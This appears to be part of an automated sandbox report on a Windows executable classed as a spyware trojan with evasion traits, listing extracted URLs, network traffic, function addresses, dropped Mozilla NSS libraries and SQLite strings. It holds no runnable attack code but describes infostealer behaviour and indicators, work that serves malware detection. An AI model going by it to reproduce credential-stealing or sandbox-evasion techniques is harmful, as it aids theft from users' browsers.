Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: ZXVcgrmGRM.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z
Source: ZXVcgrmGRM.exe	String found in binary or memory: http://crl.sectigo.com/SectigoPublicTimeStampingRootR46.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: ZXVcgrmGRM.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#
Source: ZXVcgrmGRM.exe	String found in binary or memory: http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: ZXVcgrmGRM.exe	String found in binary or memory: http://ocsp.sectigo.com0
Source: chromecache_103.4.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: ZXVcgrmGRM.exe, ZXVcgrmGRM.exe, 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526989461.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JJJJDAAE.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_103.4.dr	String found in binary or memory: https://apis.google.com
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: JJJJDAAE.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520571764.0000000001260000.00000004.00000020.00020000.00000000.sdmp, JJJJDAAE.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chromecache_103.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_103.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_103.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_103.4.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: chromecache_103.4.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: ZXVcgrmGRM.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://support.mozilla.org
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: ZXVcgrmGRM.exe, 00000000.00000002.2524113646.00000000099A1000.00000004.00000020.00020000.00000000.sdmp, HJEHIJEBKEBFBFHIIDHI.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: JJJJDAAE.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: JJJJDAAE.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chromecache_103.4.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_103.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_103.4.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: ZXVcgrmGRM.exe, 00000000.00000003.2464367010.0000000009C29000.00000004.00000020.00020000.00000000.sdmp, DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/jnhvx.exe
Source: DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: ZXVcgrmGRM.exe, 00000000.00000003.2464367010.0000000009C29000.00000004.00000020.00020000.00000000.sdmp, DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: ZXVcgrmGRM.exe, 00000000.00000002.2519576382.00000000005AC000.00000004.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: ZXVcgrmGRM.exe, 00000000.00000003.2464367010.0000000009C29000.00000004.00000020.00020000.00000000.sdmp, DHDAFBFCFHIDAKFIIEBAAEHIJD.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C58B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C58B700
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C58B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C58B8C0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C58B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C58B910
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C52F280

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5235A0	0_2_6C5235A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C59545C	0_2_6C59545C
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C535440	0_2_6C535440
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C565C10	0_2_6C565C10
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C572C10	0_2_6C572C10
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C59AC00	0_2_6C59AC00
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C59542B	0_2_6C59542B
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C54D4D0	0_2_6C54D4D0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5364C0	0_2_6C5364C0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C566CF0	0_2_6C566CF0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52D4E0	0_2_6C52D4E0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C536C80	0_2_6C536C80
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5834A0	0_2_6C5834A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C58C4A0	0_2_6C58C4A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C54ED10	0_2_6C54ED10
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C550512	0_2_6C550512
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C53FD00	0_2_6C53FD00
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C560DD0	0_2_6C560DD0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5885F0	0_2_6C5885F0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C549E50	0_2_6C549E50
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C563E50	0_2_6C563E50
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C544640	0_2_6C544640
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C572E4E	0_2_6C572E4E
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52C670	0_2_6C52C670
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C596E63	0_2_6C596E63
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C567E10	0_2_6C567E10
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C575600	0_2_6C575600
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C589E30	0_2_6C589E30
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52BEF0	0_2_6C52BEF0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C53FEF0	0_2_6C53FEF0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5976E3	0_2_6C5976E3
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C545E90	0_2_6C545E90
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C58E680	0_2_6C58E680
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C584EA0	0_2_6C584EA0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C567710	0_2_6C567710
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C539F00	0_2_6C539F00
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C556FF0	0_2_6C556FF0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52DFE0	0_2_6C52DFE0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5777A0	0_2_6C5777A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C548850	0_2_6C548850
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C54D850	0_2_6C54D850
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C56F070	0_2_6C56F070
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C537810	0_2_6C537810
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C56B820	0_2_6C56B820
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C574820	0_2_6C574820
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5950C7	0_2_6C5950C7
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C54C0E0	0_2_6C54C0E0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5658E0	0_2_6C5658E0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5560A0	0_2_6C5560A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C54A940	0_2_6C54A940
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C57B970	0_2_6C57B970
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C59B170	0_2_6C59B170
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C53D960	0_2_6C53D960
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C565190	0_2_6C565190
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C582990	0_2_6C582990
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C55D9B0	0_2_6C55D9B0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52C9A0	0_2_6C52C9A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C569A60	0_2_6C569A60
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C568AC0	0_2_6C568AC0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C541AF0	0_2_6C541AF0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C56E2F0	0_2_6C56E2F0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C59BA90	0_2_6C59BA90
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C53CAB0	0_2_6C53CAB0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C592AB0	0_2_6C592AB0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5222A0	0_2_6C5222A0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C554AA0	0_2_6C554AA0
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C525340	0_2_6C525340
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C53C370	0_2_6C53C370
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C56D320	0_2_6C56D320
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C5953C8	0_2_6C5953C8
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: 0_2_6C52F380	0_2_6C52F380

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: String function: 6C5694D0 appears 90 times
Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe	Code function: String function: 6C55CBE8 appears 134 times

Source: ZXVcgrmGRM.exe

Static PE information: invalid certificate

Source: ZXVcgrmGRM.exe, 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs ZXVcgrmGRM.exe
Source: ZXVcgrmGRM.exe, 00000000.00000002.2527461018.000000006C7A5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs ZXVcgrmGRM.exe

Source: ZXVcgrmGRM.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@28/53@4/6

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Code function: 0_2_6C587030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C587030

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\VDJAJF3S.htm

Jump to behavior

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Family,VirtualizationFirmwareEnabled FROM Win32_Processor

Source: C:\Users\user\Desktop\ZXVcgrmGRM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: ZXVcgrmGRM.exe, 00000000.00000002.2520962455.0000000003765000.00000004.00000020.00020000.00000000.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2527357116.000000006C75F000.00000002.00000001.01000000.00000009.sdmp, ZXVcgrmGRM.exe, 00000000.00000002.2526921957.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
